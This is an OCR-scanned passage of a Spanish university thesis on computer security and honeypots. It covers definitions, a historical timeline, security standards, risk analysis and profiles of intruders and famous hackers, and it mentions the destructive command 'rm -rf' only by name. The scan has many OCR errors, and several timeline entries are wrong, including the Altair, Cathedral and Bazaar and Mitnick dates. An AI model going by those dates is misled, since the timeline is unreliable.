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X1

Prdlogo

Debido al incremento en el uso de la tecnologia en diferentes dreas del mundo, se ha
incrementado en gran nimero la cantidad de equipos conectados a Internet, las consecuen-
cias que ha traido este crecimiento de las redes, ha sido un incremento de incidentes de
seguridad, ya que muchas organizaciones atin no toman conciencia sobre este serio problema.

Los profesionales de seguridad en cémputo desarrollan constantemente una gran cantidad
de herramientas para tratar de disminuir el riesgo provocado por las distintas amenazas de
seguridad, pero también los intrusos contindan investigando y desarrollando nuevas técnicas
y herramientas para explotar los sistemas.

La desventaja de esta situacién es que los administradores de sistemas mantienen una
constante actualizacion de sus sistemas de computo para reducir cualquier amenaza. Pero,
hasta el mejor administrador puede descuidar las actualizaciones y correcciones de sus
sistemas, esta situacion puede ser aprovechada por algin intruso, el cual puede esperar
pacientemente hasta que se desarrolle un nueva técnica para explotar un determinado
sistema o una determinada aplicacion; por estos motivos ningin sistema se encuentra a
salvo de las amenazas de seguridad.

La red de la UNAM no escapa a este tipo de ataques, pues la mayoria de los ataques
presentados en Internet se realizan a sistemas asignados a instituciones educativas,
diariamente los segmentos de la red universitaria son explorados por intrusos en busca
de determinados sistemas operativos, servicios o aplicaciones vulnerables. Por otra parte
algunos de los administradores de los sistemas de cémputo no cuentan con los conocimientos
necesarios para realizar una correcta administracién de los equipos y sistemas de cémputo.
El resultado, un nimero creciente de incidentes de seguridad en las redes de la Universidad.

El desarrollo de tecnologias para el analisis de amenazas de seguridad en cémputo como
son las honeynets y honeypots tiene como propdsito estudiar los diferentes ataques que dia
a dfa sufren los sistemas de computo a nivel mundial. Esto ayudara en la capacitacién de
nuevo personal en el campo de la seguridad en computo, conocer las herramientas y métodos
utilizados por los intruses al comprometer los sistemas de cémputo, como varian los nuevos
gusanos y virus, ademas de contribuir al fortalecimiento de la cultura de la seguridad en
computo.
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XI1

En el presente trabajo se abordardn conceptos de tecnologias honeypots y honeynets,
se explican algunos ejemplos de estas tecnologias, y se describe claramente el proceso de
implementacién de ambas tecnologias en redes de la Universidad. Finalmente se concluye
con base en el analisis de resultados de los sucesos obtenidos durante la puesta en marcha
de estas herramientas.
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Capitulo 1

Seguridad en Cémputo

1.1. Introduccion

Actualmente el uso de tecnologias de informacién se encuentra en su mejor momento,
se cuentan con dispositivos moéviles que proporcionan una serie de servicios: llamadas
telefénicas, recepcion de mensajes en tiempo real, envio y recepcién de correo electrénico.
Las computadoras personales evolucionan diariamente, cada vez son mas poderosas y
accesibles a otros mercados. Es posible conectase a Internet por dispositivos inalambricos
desde cualquier parte de la Ciudad.

El uso de equipos de céomputo y de las diferentes tecnologias ya no es exclusivo de
algunas organizaciones, cualquier organizacién que lo requiera puede utilizar las ventajas
que ofrecen los servicios de Internet. Cada dia son més las organizaciones que cuentan con
una pagina Web, misma que utilizan como tarjeta de presentacion, ofrecen sus servicios y
muestran sus escaparates de productos y mercancias; inclusive prestan servicios v venden
productos de manera electronica.

Para los usuarios es mas facil realizar las actividades cotidianas; gracias a los servicios
de ventas por Internet se logra obtener en minutos diferentes mercancias sin necesidad de
salir del hogar, el pago de impuestos a través de pagos en linea evita la molesta espera en la
oficina fiscal, es posible pagar los diferentes servicios publicos sin necesidad de desplazarse a
los bancos, se puede estudiar una carrera sin estar presente en un salén de clases, gracias a
las aulas virtuales, se puede acceder a todo tipo de informacién en Internet desde cualquier
poblado que cuente con una conexion telefénica rural.

Pero el incremento del uso de estas tecnologias trae consigo un aspecto conflictivo:
la seguridad. Los mensajes pueden ser interceptados y alterados, la informacién de las
organizaciones puede ser copiada o eliminada, los estados de cuenta pueden ser modificados
y la informacién personal almacenada en un equipo de cémputo puede ser alterada. Son
estas inseguridades tipicas de las redes abiertas la causa del incremento constante de los
crimenes computacionales a nivel mundial.

Andlisis de Amenazas de Seguridad en Computo



1.2 Justificaciéon y Objetivos 2

Cualquier persona que esté interesada en aprender sobre las diferentes técnicas para
ingresar de manera no autorizada a un equipo lo puede lograr en cuestion de minutos,
caso contrario a lo que ocurria hace una década, cuando Internet se desarrollaba. En esos
tiempos obtener acceso no autorizado a un sistema requeria de un alto nivel de conocimientos
de computo y era una labor exhaustiva, actualmente el nivel de conocimientos que pueden
tener este tipo de personas puede ser escaso y el trabajo involucrado para ingresar de manera
no autorizada a un equipo es minimo.

1.2. Justificacién y Objetivos

A la vista de lo comentado en el punto anterior es claro que la seguridad en computo
tiene un papel relevante y debe ser un factor a considerar por cualquier organizacion o
usuario que tenga un equipo conectado a Internet, ya que los diferentes recursos que pueden
ser almacenados en los sistemas de computo podrian impactar econémicamente en caso de
pérdida o alteracion.

Los profesionales de seguridad en cémputo se mantienen al tanto de las actualizaciones
para los diferentes equipos y sistemas, realizan respaldos de la informacién critica y hacen
todo lo posible por mantener fuera de sus ambientes de produccién cualquier amenaza. Pero
no saben a ciencia cierta quién los amenaza, cual es la amenaza, como opera esta amenaza.

A lo largo de este trabajo se describen varios mecanismos que permiten a los profesionales
de seguridad conocer, estudiar y analizar las amenazas que rondan Internet. También se
abordan la implementacion de estos mecanismos.

El objetivo final es conocer la manera de implementar ambientes controlados para el
estudio de amenazas de seguridad en computo, que ayudaran a los profesionales de seguridad
en computo a proteger mejor sus ambientes de produccion.

A continuacién se describe brevemente qué es Seguridad en Computo y por qué es im-
portante que sea tomada en cuenta por las organizaciones.

1.3. Definiciéon de Seguridad en Cémputo

Este es un concepto dificil de definir debido a la gran cantidad de factores que inter-
vienen, pero podria decirse que la seguridad en cémputo es: El conjunto de recursos
(metodologias, documentos, programas y dispositivos fisicos) destinados a
lograr que los activos de una organizacion sean confidenciales, integros,
consistentes y disponibles a sus usuarios, autenticados por mecanismos de
control de acceso y sujetos a auditoria. [l]

Como se puede apreciar es un concepto complejo y se puede considerar que también
asi es la seguridad en céomputo. Sin embargo, existe una medida cualitativa segiin el Dr.
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1.3 Definicion de Seguridad en Cémputo 3

Eugen Spafford!® :

Un sistema es seguro si se puede confiar en que se comporte como se
espera que lo haga. 2]

Esta definicion es un poco vaga, ya que depende en gran medida de las expectativas que
se tengan para un determinado sistema, se podria esperar que la informacién no sea lefda
o modificada por alguien no antorizado para hacerlo, si este término se cumple, entonces el
sistema es considerado seguro.

De las dos definiciones descritas anteriormente se pueden tomar en cuenta ambas, ya
que las dos describen de cierta manera el concepto de seguridad en cémputo.

Se debe tener en cuenta que un sistema se vuelve inseguro al encenderlo. Se cita el
siguiente refran:

El inico sistema seguro es aquel que se encuentra apagado y desconectado,
enterrado en un refugio de concreto, rodeado por gas venenoso y custodiado
por guardias bien pagados y muy bien armados. Adn asi, no apostaria mi
vida por el.?

Para garantizar que un sistema es seguro se debe considerar basicamente tres aspectos:
confidencialidad. integridad y disponibilided. La confidencialidad indica que los recursos
almacenados deberdan de ser accedidos tnicamente por aquellos elementos autorizados
a hacerlo, la integridad significa que los recursos solo podran ser modificados por los
elementos autorizados y de manera controlada, y la disponibilidad se refiere a mantener
los recursos accesibles a los elementos autorizados. Con estos tres aspectos se puede decir
que el sistema es considerado seguro.

El propésito de la seguridad en cémputo es proteger los recursos de computo a través de
una seleccién apropiada de mecanismos de proteccién 2.

La seguridad en computo puede definirse desde diferentes puntos de vista, en lo particular
defino a la seguridad en cémputo como sigue: Aplicar las medidas necesarias para
la reduccion del riesgo en los recursos de computo, nunca se podrd eliminar este
riesgo, pero si se puede disminuir su intensidad.

La seguridad en computo se cataloga dentro de tres dreas, definidas por Bruce Schneir
en su libro Secrets and Lies *

Dr. Eugene Spafford. Profesor de informdtica, colaboré para crear el Computer Oracle Password Secu-
rity System (COPS), un sistema de seguridad semi-automdtico. Hombre muy respetado en el campo de la
sequridad en cdmpulto.

2Dr. Eugene Spafford

#Mecanismos de proteccién son descritos en la seccién 1.11

4Secrets and Lies. Es un libro en el que se describe la seguridad digital en un mundo de redes, para mayor
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1.4 Antecedentes historicos de la seguridad en co6mputo 4

= Prevencion

Detener a los intrusos. Si se quisiera detener a los intrusos es necesario hacer todo
lo posible por mantenerlos fuera del ambiente. Por ejemplo, se quiere mantener a los
intrusos fuera del hogar, se deben de tomar ciertas medidas de precaucién: colocar
modernas chapas en la puerta principal, instalar una malla eléctrica al rededor del
jardin, es decir se hace todo lo necesario por mantener cualquier amenaza fuera.

s Deteccion

Detectar a los intrusos. Se debe de tener la certeza de que una vez que los intrusos
han logrado evadir los mecanismos de prevencion estos sean detectados lo mas rdpido
posible. Utilizando la analogia anterior esto serfa similar a colocar camaras en el garaje
y en el interior de la casa, instalar detectores de movimiento que activen una alarma,
es decir detectar cualquier posible amenaza lo mas rapido posible.

= Reaccion

Reaccionar ante los intrusos. Se debe de tener la habilidad de responder ante un inci-
dente en el cual los intrusos han logrado evadir los mecanismos de prevencion y han
sido detectados. Los dos puntos anteriores carecen de todo valor si no se cuenta con
una respuesta rapida. Si en casa la alarma es activada se esperaria que la policia asista
rapidamente al lugar, es decir se reacciona ante un incidente.

Cuando alguna organizacién requiere implementar mecanismos de seguridad en computo
debe de cubrir las tres dreas mencionadas anteriormente, con esto logrard mantener una
completa estrategia que reducird en gran medida el riesgo ante cualquier amenaza de
seguridad o método de ataque °, también es importante realizar un andlisis de riesgos
e implementar politicas de seguridad” que complementen el esquema de seguridad la
organizacion.

En el siguiente capitulo se describen de que manera las tecnologias honeypots agregan
cierto valor a cada una de estas tres dreas y cémo se fortalece el esquema de seguridad en
cémputo de la organizacion que implemente este tipo de herramientas.

1.4. Antecedentes histéricos de la seguridad en
computo

En los cuadros siguientes se presentan algunos antecedentes importantes en el campo de
la seguridad en cémputo que de alguna manera influyeron en el desarrollo de la misma.

Andlisis de Amenazas de Sequridad en Cémputo
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Periodo

Suceso

1865

Es formado el servicio secreto de E.U (USSS).

1876

Alejandro Graham Bell inventa el teléfono.

1940

El cientifico Britanico Arthur Clarke propone un satélite
terrestre para las comunicaciones de radio. Las
comunicaciones de radio son faciles de decodificar.

1950

Se introduce la Television por cable. El sistema es facil de
romper.

1962

El Congreso de E.U. aprueba la Ley de Comunicaciones por
satélite, lo cual ayuda a proteger y asegurar los sistemas
satelitales.

1968

ARPANET es creada con 4 nodos.

1970

La seguridad en computo es estudiada como
una disciplina.

1970

La mayoria de los problemas de seguridad
en computo son de las companias
telefonicas.

1971

Se crea la primer revista de pheaking YIPL/TAP
(Younth International Party Line Technological
American Party) esencialmente se inventa el pheaking.

1972

Se crea la revista Ramparts, v se edita el articulo:
Regulating the Phone Company In Your Home
el cual publicaba detalles técnicos de las cajas azules.

1972

El primer microcomputador conocido como Altair es construido
en la Ciudad de Albuquerque, New Mexico.
Bill Gates escribe el sistema operativo para Altair.

1973

Composicion del primer Jargon File.

1977

Cifrado RSA (llave piblica) es inventada.

1978

Primer vulnerabilidad, el estudio de contrasenas demostro

que adivinar contrasenas es un método efectivo ya que muchas

de las contrasenas corresponden a nombres de usuario, direcciones,
numero de seguro social, teléfonos y cualquier otra

informacion almacenada en al archivo de identificacién

de usuarios.

1980

Se migra el protocolo de Arpanet de Network Control Protocol a
Transmission Control Protocol/Internet Protocol (TCP/IP).

1980

Muchas organizaciones desarrollan redes; dando
consecuentemente muchas fuentes para los intrusos.

Se incrementa el uso de mecanismos de seguridad
como firewalls.

Cuadro 1.1: Acontecimientos importantes 1865 - 1980
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1.4 Antecedentes histéricos de la seguridad en computo

Periodo

Suceso

1983

Se crea el DNS (Domain Name Server) para facilitar la
identificacion del creciente nimero de hosts
de Internet.

1984

Los virus de computadora como Caballos de Troya que son capaces
de hacer copias de si mismos y propagarse se convierten
en una amenaza real.

1984

Emmanuel Goldstein crea 2600: The Hacker Quarterly y
Legion of Doom.

1984

Primer boletin de la policia Estadounidense llamado
The sting, publicado.

1985

La revista electrénica Phrack es fundada por 2 editores
subterraneos Taran King y Knight Lightning, publicando
informacion sobre sistemas operativos, tecnologia de

redes y telefonica.

1985

Se promueve el Manifesto GNU.

1986

El Senado de E.U define los erimenes computacionales
Fraude Computacional y Actos de abuso.

1986

Cliff Stoll un astrénomo del observatorio de Keck en el laboratorio
Berkley en California, lleva a cabo una investigacion

profunda provocada por un error en sus sistemas dando

lugar al suceso conocido como: The cuckoo’s egg.

1987

Se publica The Cathedral and the Bazaar sobre software libre.

1988

Ocurre el incidente conocido como: Internet worm
provocado por un gusano que explotaba huecos de seguridad
en sistemas UNIX.

1988

El CERT (Equipo de Respuesta a Emergencias de Computo
- Computer Emergency Response Team ) es formado por la
DARPA (Defense Advanced Research Project Agency)

con sede principal en la Universidad

Carnegie Mellon en Pittsburgh, su misién

es la investigacion del creciente niimero

de ataques a sistemas computo.

1989

Es creado el CIAC (Computer Incident Advisory
Capability) por el Departamento de Energia de E.U.

1990

Se define la nueva manera de implementar el hipertexto,
el World Wide Web, por Tim Berners-Lee en el Laboratorio
de Particulas Fisicas (CERN).

Cuadro 1.2: Acontecimientos importantes 1983 - 1990
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Periodo | Suceso

1990 Se crea el FIRST (Forum of Incident Response

and Security Teams) cuyo objetivo es coordinar todos

los equipos de respuesta a incidentes en el mundo.

Se crea el Instituto SANS (System Administration,
Networking and Security).

1993 La primer convencion de intrusos se realiza en

Las Vegas conocido como Defcon.

1996 Elias Levi a.k.a. Aleph One crea la primer lista de seguridad publica full
disclose conocida como Bugtraq®. Por primera

vez la informacion usada para irrumpir en los sistemas es
discutida publicamente y con los cédigos completos de los
exploits

1997 Debido a la demanda de informacion referente a Windows NT
se crea NT-Bugtraq.

Cuadro 1.3: Acontecimientos importantes 1990 - 1997

1.5. Estandares de Seguridad

Desafortunadamente, los crackers comparten informacién y se comunican por varios
medios. como los BBS’s, mientras los administradores se encuentran un tanto aislados y
carentes de informacién. Esto iltimo han venido cambiando recientemente, hoy en dia se
organizan seminarios, conferencias, simposios y talleres sobre seguridad. También existen
varias organizaciones que distribuyen informacién sobre el tema a través de diversos medios,
como WWW, BBSs, FTP, etc.

Como parte de este esfuerzo, se ha comenzado a estandarizar ciertas cuestiones de la
seguridad.

1.5.1. El libro naranja

Aunque es muy dificil medir el nivel exacto de seguridad de un sistema se pueden definir
algunas caracteristicas que hacen seguro a un sistema.

El libro naranja surge de la necesidad de crear estdndares que permitan cuantificar la
seguridad de un sistema. Este libro fue editado por el Departamento de Defensa de EUA
(DoD) en 1983. Su verdadero nombre es Trusted Computer System Ewvaluation Criteria

informacién consultar: hitp://wuww.counterpane.com/sandl html
Métodos de ataque son descritos en la seccién 1.9
6 Andlisis de riesgos es descrito en la seccidn 1.6
"Politicas de seguridad son descritas en la seccion 1.12
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1.5 Estandares de Seguridad 8

Nivel Clase
D Seguridad Minima D1
C Seguridad discrecional | C1
C2
B Seguridad Obligatoria | Bl
B2
B3
A Seguridad Verificada | Al

Cuadro 1.4: Niveles de sequridad TCSEC

(TCSEC). Este libro pertenece a una serie de libros llamada Rainbow, la cual edita cada
uno de sus libros de un color distinto, en el caso de TCSEC su cubierta es naranja y de
ahi que se le conozca como el libro naranja.

Como se observa en el cuadro 1.4 este libro divide a los sistemas, de acuerdo a sus
caracteristicas de seguridad, en cuatro niveles (de la A a la D) que a su vez se dividen en
clases (numeradas del 1 al 3, donde a mayor nimero mayor seguridad. Cada nivel tiene
distinto nimero de clases.)

Las clases se definen de acuerdo a los criterios que debe cumplir un sistema para que
sea considerado dentro de dicha clase. Estos criterios se clasifican en: politicas de seguridad.
contabilidad, seguridad y documentacién.

Actualmente, la mayoria de los sistemas indican en que clasificacién se encuentran. De
manera que un sistema C2 es menos seguro que uno B3. Ademds, el libro naranja sirve de
guia a los fabricantes para saber qué consideraciones deben tomar en cuenta para que su
sistema califique dentro de cierta categoria.

Hay muchos puntos débiles que se pueden criticar al libro naranja. Algunas observaciones
son:

= Esta disenado para ambientes gubernamentales més que para ambientes comerciales o
académicos.

= Se centra en la confidencialidad de los datos y hace a un lado otros tipos de seguridad
como la disponibilidad.

» Casi no considera los ataques internos.

= Toca muy pocos puntos, de manera que un sistema con muchos mecanismos de seguri-
dad que no aparezcan en el libro naranja seria clasificado en un nivel bajo.
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1.5.2. Estandares de criptografia

A partir de los 70’s, el gobierno de los EU se interesé en el desarrollo y la utilizacién
de criptografia para informacién no clasificada y transacciones bancarias. En 1973, el Na-
tional Bureau of Standars hizo una invitacion abierta para la presentacién de algoritmos de
cifrado. De todos los trabajos se seleccioné uno como el algoritmo estédndar de cifrado y se
nombré precisamente Data Encryption Standar (DES). Se construyeron varias herramientas
que utilizaban DES. Actualmente se han desarrollado muchos otros algoritmos y DES ya no
se utiliza tanto. Esto también se debe a los problemas de exportacion de criptografia y a que
se ha descubierto que DES no es lo suficientemente fuerte.

1.5.3. Proyecto TEMPEST

Todo aparato electronico emana ondas electromagnéticas. En el caso de las computado-
ras, estas ondas se pueden captar e interpretar. Asi, por ejemplo, el monitor de un sistema
emana radiaciones que al ser captadas se pueden procesar para revelar el contenido de la
pantalla.

Esto ha sido una preocupacion desde finales de los 50’s. Se creé el proyecto TEMPEST
(nunca se ha podido descubrir que significan estas siglas) para estudiar la emanacién y
captura de ondas electromagnéticas y crear estandares que definan cudles sistemas cumplen
con las normas necesarias para que no puedan ser interceptadas dichas ondas.

Existen sistemas que cumplen con los estandares de TEMPEST en el mercado, pero
son muy caros. Los autores no recomiendan hacer un gasto tan fuerte salvo que se maneje
informacién clasificada. Muy pocos, entre ellos el gobierno y la defensa de los EU, compran
equipos TEMPEST.

Para evitar la propagacién de las ondas electromagnéticas , los sistemas TEMPEST
cuentan con escudos (generalmente hechos a base de cobre) o se encuentran en contene-
dores especiales. Otra técnica que se utiliza consiste en emitir ondas adicionales que se
mezclen con las originales de manera que atn siendo interceptadas no pueden ser descifradas.

TEMPEST, al igual que la criptografia, tiene grandes restricciones de exportacién de los
EU. En caso de importar un sistema TEMPEST a México se deben tener las consideraciones
correspondientes.

1.6. Analisis de riesgos
Un analisis de riesgos es el resultado de responder a las siguientes preguntas:

= ; Qué se quiere proteger 7

Pensar lo que es importante y lo que se necesita mantener a salvo. Pensar qué recursos
son importantes y que tan importante es cada uno de estos recursos. Cada recurso
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probablemente tenga diferente valor.
Los recursos: personal, informacién, hardware, software, documentacion, consumibles,
etc.

= ;Cuénto vale este recurso ?
Pensar el valor de cada recurso. El correo electronico privado probablemente valga mas
que el trabajo final de semestre anterior.

» ;Cudnto vale este recurso para otros 7
Los recursos probablemente tengan un alto valor para otros. Por ejemplo el nimero de
tarjeta de crédito o cuentas de banco son muy valiosas para los intruses. Los mensajes

de correo pueden ser extremadamente 1itiles para enviar correos electronicos anénimos

o interceptar informacién. La conexion de alta velocidad puede ser de alto valor para

esconder sitios warez?.

» ;Cuanto costaria reemplazar dicho recurso ?

Si se cuentan con los respaldos adecuados no es necesario preocuparse mucho por que
alguien borre el disco duro, pero si no se cuentan con ellos, si es de preocuparse.

El costo de reemplazar los secretos comerciales puede ser muy alto ya que toda la
investigacion se aplica dentro del desarrollo de tecnologia.

» ;De quién se protege ?

De cualquiera que constituya una amenaza, en cualquiera de estos rubros:

e Acceso no autorizado: Utilizar el recurso de computo sin previa autorizacion.

Dano a la mformacion: Modificacién o eliminacién de la informacién en el sistema.

Robo  de informacion: Acceso a cierta informacién sin  previa
autorizacion.

Dwvulgacion de la informacion: Publicar detalles del sistema, como podrian ser
las contrasenas, secretos, inversiones, etc.

e Negacion del servicio: Obligar al sistema a negar recursos a usuarios legitimos.
= ;Qué tantos recursos se invertiran ?
s ;Como se puede o debe proteger ?

Las dos iltimas preguntas pueden variar dependiendo de la organizacion.

9 Warez: Software protegido por derechos de autor, incluye peliculas, juegos, etc.
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1.7. Factores que intervienen
Se puede decir que la seguridad de un sistema est4 determinada por los siguientes factores:
= Organizacional

o [Usuarios
o Tipos de usuarios que se tienen.
o Reglamentos y politicas que rigen su comportamiento.
o Vigilar que estos reglamentos y politicas se cumplan, y no queden sélo en
papel.
o Alta direccion

o Inversion en capacitacion de los administradores.

o Apoyo econémico orientado a la adquisicién de tecnologia de seguridad en
computo.

o Negociar acuerdos de soporte técnico con los proveedores de equipo.
= Software

e Aplicacion

o Vigilar que se cuenten mecanismos para control de acceso integrados.
o Observar las facilidades de respaldo de informacién con las que se cuentan.
o Establecer qué tan critica es la aplicacién y establecer su disponibilidad.

o Sistema operativo

Mostrar preferencias por los sistemas abiertos como UNIX.

Vigilar que soporte estandares de seguridad en cémputo.

Observar las recomendaciones del fabricante y aplicar los parches que liberen.
Vigilar siempre las bitacoras del sistema.

2, O @& @ a9

Mantenerse informado sobre las alertas de seguridad en computo.
e Software de red

o Vigilar de cerca las estadisticas de acceso y trafico de red.
o Procurar implementar firewalls, pero no confiar excesivamente en ellos.
o En la medida de lo posible, apoyar las conexiones cifradas.

= Hardware

e Hardware de red

o Seleccionar adecuadamente el tipo de tecnologia de transporte (Ethernet,
FDDI, ATM, etc.)

o Proteccion del cableado, antenas y otros dispositivos de red.
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o Proporcionar periédicamente mantenimiento a las instalaciones.
e Seruvidores

o Mantenerlos en condiciones de humedad y temperatura adecuados.
o Establecer politicas de acceso fisico al servidor.
o El mantenimiento también es importante aqui.

1.8. Amenazas

Existen varios factores que pueden afectar los ambientes de computo de las organiza-
ciones asi como de los usuarios caseros, estos pueden verse afectados por elementos logicos
o humanos, aunque no se debe olvidar que un ambiente también puede ser afectado por ele-
mentos naturales que son impredecibles como los terremotos, inundaciones, incendios, etc. A
continuacion se presenta una relacion de los elementos que potencialmente pueden amenazar
los ambientes de computo.

1.8.1. Intrusos

Existe una pequena diferencia entre un experto en seguridad, quién se especializa en la
prevencién o deteccién de intrusiones y alguien que se especializa en irrumpir dentro de los
sistemas de computo. Ya que ambos parten de un conocimiento base y cada quién utiliza
ese conocimiento como mejor lo considere.

Un experto de un lado por lo general es un experto del otro.

Desde tiempos inmemorables muchos comandantes de guerra se han preguntado acerca
de quién es el enemigo. Para la seguridad en cémputo existen infinidad de términos para
definir a estos. La siguiente podria ser una clasificacién de ellos:

» El curioso. El curioso es aquella persona que ha instalado su primer equipo en red y
ahora quiere ver todo lo que esta fuera. Esta persona probablemente intente ingresar
a algin puerto de telnet con usuario guest.

Nivel de amenaza: No mucho; normalmente no significa una amenaza real.

« El imitador. Esta persona ha invertido algin tiempo buscando en Internet
herramientas que le permitan explotar un sistema. Esta persona tipicamente tiene una
bolsa de trucos que pueden ejecutar en un intento por lograr irrumpir dentro de una
computadora. Conocen de comandos como rm -rf ya que han visto ¢cémo sus amigos
lo ejecutan.

Nivel de amenaza: A menudo no es una amenaza para una maquina con seguridad

moderada, pero serda una gran fuente de ataques a través de varios equipos.

» El intruso. Estos son personas que han investigando noche tras noche, de manana y
tarde, aprendiendo sobre tépicos relevantes de seguridad. Generalmente tiene una gran
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coleccién de ezploits'®, un gran nimero de contactos para obtener ezploits. También
adquieren la habilidad de generar nuevos exploits.

Nivel de amenaza: Alto. Aqui probablemente se dividirdn en un porcentaje de 50 %
un grupo no irrumpird en otros sistemas en mas de una ocasion. Sin embargo, la
mayorfa no practicard con la computadora localizada en su dormitorio. El gran salén
de préctica serdn las grandes corporaciones y sitios Web del gobierno.

Caracteristicas de los intrusos o cualidades que hacen que los intrusos piensen que lo
son.

Tiene comprometido un sistema Uniz en Internet y proporcionan cuentas.
Utiliza el IRC' (Internet Relay Chat).

e Tiene un sitio Web.

e Se mueven con otros intrusos (comunidades de intrusos).

Irrumpen dentro de otros equipos y realizan libros sobre esto.

Ejecutan una tarea calendarizada (Cron).

Irrumpen dentro de sitios Web.

= FEl profesional. Estos tipos no son conocidos y si tiene alguno dentro del sistema ain
no se tiene conocimiento de esto. Invierten mucho tiempo investigando para llegar a
ser formidables. Son tigres de equipos, irrumpen dentro de los equipos aprovechando
las debilidades de seguridad, robando los secretos industriales y financieros, etc.

Nivel de amenaza: Muy alto.

Se entiende por intruso a aquella persona que obtiene un acceso no autorizado al sistema.
Este puede ser un nino de 12 anos de cualquier parte del mundo o una persona de edad
avanzada que trabaje en cierta compania financiera.

Tipos de intrusos

A continuacién se listan algunos tipos de intrusos:

= Lamer

Un lamer es una persona que en realidad no tiene ninguna inquietud por aprender
todo lo que rodea al computo, lo tinico que quiere es tener un usuario y una contrasena
para ingresar a un sistema, y formatear el disco duro, para decirle a un amigo que es
un supercracker.

0 Brploit: Programa o técnica que aprovecha una vulnerabilidad
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= Newbie

Es importante distinguir a un lamer de un newbie o novato, este es una persona que si
tiene interés en estos temas, pero que légicamente necesita un tiempo de aprendizaje.

s Phreaker

Apasionados del sistema telefénico, investigadores de la telecomunicaciones. Su hobby
es conocer el funcionamiento de las redes de telefonia, para después hacer con ellas lo
que quieran (llamadas gratis, hacer que un vecino pague mas, etc.).

» Script Kiddies o Ciber punks

Los medios comunmente los llaman hackers. Estos con unos jévenes, que son
comunmente capturados por la autoridades ya que ellos hablan sobre sus ezploits en
linea. No existe una categoria de edad, van desde los 12 hasta los 30 anos, se aburren
con la escuela pero se adaptan con las computadoras y la tecnologia, ellos descargan
scripts para hackear dentro de los sistemas con la intencion de vandalizar o interrumpir
los sistemas.

» Codificadores y escritores de Virus

Tiene gusto de verse como elite. Tiene mucho trayectoria de programacién y escriben
cédigo pero no lo utilizan ellos mismos. Tienen sus propias redes para experimentar,
dejan a otros introducir el co6digo en Internet.

= Crimanales profesionales

Estos individuos viven irrumpiendo en los sistemas y vendiendo la informacion. Puede
ser que consigan un empleado para espionaje corporativo o del gobierno. Pueden tener
también nexos con el crimen organizado.

» Hackers de vieja escuela

Estos son gurus al estilo de los anos sesenta de Stanford o del MIT para los cuales
el término hacking es una divisa de honor. Estan interesados en lineas del cddigo y
el andlisis de los sistemas. No tienen intensiones malévolas, aunque pueden tener una
carencia de preocupacién por aislamiento y la informacion propietaria ya que creen que
Internet fue diseniado para ser un sistema abierto.

= Hacker - Craker

Muchas personas ain contintian confundiendo estos términos, actualmente vemos en
los periédicos y noticias de TV, donde se informa que un Hacker irrumpié en los
sistemas de una empresa X, este tipo de noticias son las que ofenden a los verdaderos
hackers, Para tratar de resolver este pequeno dilema se presentan a continuacion las
definiciones de ambos.

e Hacker - White Hat

Es una persona realmente interesada es los lados mas recénditos y obscuros de
un Sistema Operativo de cualquier maquina. La mayoria o muchos de los hackers

Andlisis de Amenazas de Sequridad en Cémputo



1.8 Amenazas 15

son programadores. Por eso los hackers tienen un conocimiento muy avanzado
en cuanto a programacion se refiere. Conocen muchos de los huecos de seguridad
en los sistemas operativos, y lo mas importante, conocen el por qué de estos
huecos de seguridad. Los hackers estan buscando informacion continuamente, y
la hacen publica cuando la encuentran, y nunca estropean datos de un sistema
intencionalmente.

e Craker - Black Hat

Es una persona que irrumpe dentro de un sistema o viola la integridad del sistema
a través de sistemas remotos con ideas maliciosas. Los crackers ganan acceso sin
autorizacion, destruyen o roban datos importantes, incluso vitales, o simplemente
causan problemas a sus victimas. Los crackers pueden ser facilmente identificados
por sus actos maliciosos.

Esto puede causar confusion pues hay hackers que también ingresan a
los sistemas, podriamos aclarar un poco méds esta situacién revisando a
continuacion a algunos hackers y crackers famosos asi como revisar un poco de sus
antecedentes, acciones y consecuencias.

1.8.2. Hackers

A continuacion se listan algunos hackers famosos.

Richard Matthew Stallman

Se uni6 al Laboratorio de Inteligencia Artificial MIT (Artificial Inteligence Laboratory)
en 1971. Le fue otorgado el premio McArthur por su desarrollo de software. Después fundo la
Free Software Foundation, creando aplicaciones y programas libres. Su primer encuentro
con una computadora a los 16 afios en 1969, en el centro cientifico de la IBM en Nueva
York. Acaba de publicar su ultimo libro: Software Libre, Sociedad Libre.

Figura 1.1: Richard Matthew Stallman
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Dennis Ritchie y Ken Thompson

Programadores de los laboratorios Bell. Junto con Brian Kerrighan fueron los que
desarrollaron el Sistema Operativo UNIX y el Lenguaje de Programacion C. Sin estos
programadores posiblemente no existiera Internet. Ahora Ritchie, contintiia trabajando en
los laboratorios Bell desarrollando el llamado Plan9, que se supone que sera un nuevo super
sistema operativo que le quitara el trono a UNIX ademaés es la cabeza del Departamento de
Investigacion de Software y Sistemas de Lucent Technology’s. Ken esta retirado.

Figura 1.2: Dennis Ritchie y Ken Thompson

Eugene Spafford

Profesor de informética. Colaboré para crear el Computer Oracle Password Security Sys-
tem (COPS) un sistema de seguridad semi-automatico. Hombre muy respetado en el campo
de la sequridad en computo.

Figura 1.3: Fugene Spafford

Andlisis de Amenazas de Seguridad en Cdmputo



1.8 Amenazas 17

Wietse Venema

Viene de la Universidad de Tecnologia de Eindhoven, en los Paises Bajos. Un gran
programador, con un don para ello, ademés de contar con un amplio historial en programas
sobre seguridad. Es el co-autor del SATAN con Farmer. Venema escribié el TCP Wrap-
pers, uno de los programas de seguridad mas utilizado en el mundo.

Figura 1.4: Wietse Venema

Tsutomo Shimomura

Shimomura atrapa a Kevin Mitnick a principios de 1994. Después de que colegas de
Supercémputo de San Diego informaran de un robo de centenares de programas y archivos
de software de su estacién de trabajo, el experto en seguridad en cémputo trabajo para
seguir al ladrén. Un rastro de telco lo condujo a un complejo en Raleigh N.C. donde agentes
del FBI aprendieron a Mitnick. Escribié el relato de c6mo atrap6 a Mitnick. Todavia trabaja
para el centro de supercomputo de San Diego.

Figura 1.5: Tsutomo Shimomura
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Linus Torvalds

Un individuo extraordinario, Torvalds comenzé a conocer el UNIX y a tomar clases
de programacién en Lenguaje C cerca de los 90’s. Una ano después empezd a escribir un
Sistera Operativo parecido a UNIX. Después de un ano, lo puso en Internet, es LINUX. En
la actualidad LINUX es un culto sobre programadores, por ser el unico Sisterma Operativo
programado por personas que seguramente ni se conoceran en la vida. Ademas LINUX no
tiene el molesto copyright, es libre. Trabaja para Transmeta.

Figura 1.6: Linus Torvalds

Dan Farmer

Trabajé con Spafford en la creacién de COPS (1991) y al mismo tiempo con el famoso
Computer Emergency Response Team (CERT). Tiempo més tarde Farmer gand gran
notoriedad al crear el System Administrator Tool for Analyzing (SATAN). Una gran
herramienta para analizar vulnerabilidades en redes.

